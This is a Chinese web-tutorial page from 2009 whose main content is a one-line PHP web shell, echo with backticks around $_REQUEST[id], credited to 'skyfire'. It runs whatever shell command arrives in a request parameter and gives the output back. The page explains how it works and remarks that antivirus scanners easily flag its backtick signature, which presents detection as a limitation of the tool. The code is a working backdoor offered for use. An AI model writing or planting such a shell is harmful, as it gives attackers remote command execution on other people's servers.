当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
PHP中for循环语句的几种“变态”用法
通过php来读取xml的数据
PHP中使用XML-RPC构造Web Service简单入门
用PHP通过SMTP发送邮件
用PHP操纵Oracle的LOB类型的数据
PHP函数学习之PHP函数点评
Php高手带路--问题汇总解答
利用PHP和AJAX创建RSS聚合器
PHP与Javascript的两种交互方式
高手传经:学习PHP重在坚持
动态网页PHP中引用&的使用注意事项
用PHPINFO来实现PHP的配置统计过程
向普通人加密 用PHP程序保护数据
使用 PHP 快速生成 Flash 动画
Php常见问题总结
怎样才能成为PHP高手?
PHP对战ASP:这还值得讨论吗?
PHP大潮将至 PHP近年发展分析
小荷才露尖尖角 中国的PHP社群介绍
从草根到大腕 PHP技术发展历程

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 160 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>